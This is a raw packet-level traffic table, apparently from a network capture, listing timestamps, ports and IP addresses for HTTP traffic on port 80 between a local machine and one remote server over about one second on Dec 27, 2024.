Dec 27, 2024 15:04:13.909373045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.909780025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.909795046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.909821033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:13.929464102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.929519892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:13.929552078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.929657936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.929754972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:13.929857016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.930689096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.930728912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:13.930804014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.931359053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.931405067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:13.934956074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.935049057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.935091019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:13.935201883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.974185944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.974220037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.974395037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:13.974483967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.974498987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.974545956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:13.975382090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:13.975440979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.019879103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.019939899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.020001888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.020278931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.020514965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.020560980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.021250963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.021272898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.021321058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.022118092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.022130966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.022198915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.022792101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.022859097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.022898912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.025729895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.025791883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.025845051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.026182890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.026218891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.026257992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.027010918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.033410072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.033463001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.033473015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.033776999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.033827066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.033854008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.053852081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.053941011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.053941011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.054195881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.054244041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.054353952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.055099964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.055160046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.055250883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.058546066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.058599949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.058639050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.058955908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.059000015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.100815058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.100872993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.100934982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.101121902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.101205111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.101247072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.102036953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.102179050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.102217913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.102839947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.144248962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.144301891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.144356012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.144663095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.144710064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.144737005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.145430088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.145476103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.145518064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.146275997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.146289110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.146312952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.147149086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.147195101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.149991035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.150047064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.150100946 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.150393963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.150559902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.150607109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.151278973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.157880068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.157942057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.158029079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.158317089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.158330917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.158364058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.159178972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.159233093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.178411007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.178428888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.178563118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.178839922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.179042101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.179085970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.179095984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.179883003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.179925919 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.182997942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.183207035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.183257103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.183435917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.226217031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.226239920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.226397038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.226474047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.226521015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.226557016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.226594925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.226629972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.227494955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.227531910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.227572918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.228351116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.268513918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.268533945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.268590927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.268877983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.269026041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.269098997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.269112110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.269157887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.271998882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.272012949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.272025108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.272042990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.272058010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.272074938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.272080898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.272130966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.274765015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.274779081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.274827003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.275141001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.275329113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.275372982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.276031017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.282143116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.282206059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.282260895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.282608032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.282655954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.282656908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.303062916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.303081036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.303226948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.303359032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.303402901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.303406954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.304301023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.304347992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.307332993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.307532072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.307580948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.307853937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.350836992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.350872040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.350898027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.351145983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.351188898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.351305008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.351427078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.351468086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.352159977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.352247000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.352292061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.353020906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.393588066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.393611908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.393683910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.393873930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.393918037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.394069910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.394114017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.394149065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.394956112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.395132065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.395175934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.395864010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.395988941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.396028996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.396686077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.398910999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.398969889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.399095058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.399353981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.399394989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.399437904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.400218010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.400276899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.406512022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.406681061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.406725883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.407002926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.407234907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.407278061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.407840014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.427408934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.427476883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.427498102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.427826881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.427967072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.428036928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.428684950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.428736925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.431881905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.432018042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.432065964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.432219028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.475380898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.475441933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.475518942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.475733995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.475776911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.475874901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.475888014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.475919008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.476464033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.476525068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.476567030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.477303028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.477324009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.477365971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.517940998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.518022060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.518071890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.518325090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.518428087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.518474102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.518520117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.519352913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.519397020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.519484043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.520298004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.520344973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.520358086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.521095037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.521266937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.523044109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.523135900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.523184061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.523446083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.523562908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.523607016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.523643017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.524452925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.524492979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.531249046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.531269073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.531322002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.531414986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.531564951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.531609058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.532583952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.532649994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.532694101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.551918030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.551990032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.552050114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.552313089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.552423954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.552556038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.553143978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.556754112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.556809902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.556859016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.557180882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.557229996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.599531889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.599694967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.599848986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.599953890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.600029945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.600065947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.600132942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.600564957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.600603104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.600636959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.601505041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.601548910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.601553917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.642227888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.642319918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.642370939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.642636061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.642718077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.642790079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.643199921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.643249035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.643326998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.644083023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.644130945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.644145966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.644725084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.644802094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.644946098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.645539999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.645586014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.647306919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.647453070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.647500038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.647747993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.647917032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.647959948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.648006916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.648818970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.648871899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.655121088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.655271053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.655319929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.655541897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.655601978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.655638933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.676136971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.676197052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.676249981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.676609993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.676692009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.676860094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:14.679450035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:14.681498051 CET	80	49743	185.215.113.16	192.168.2.4
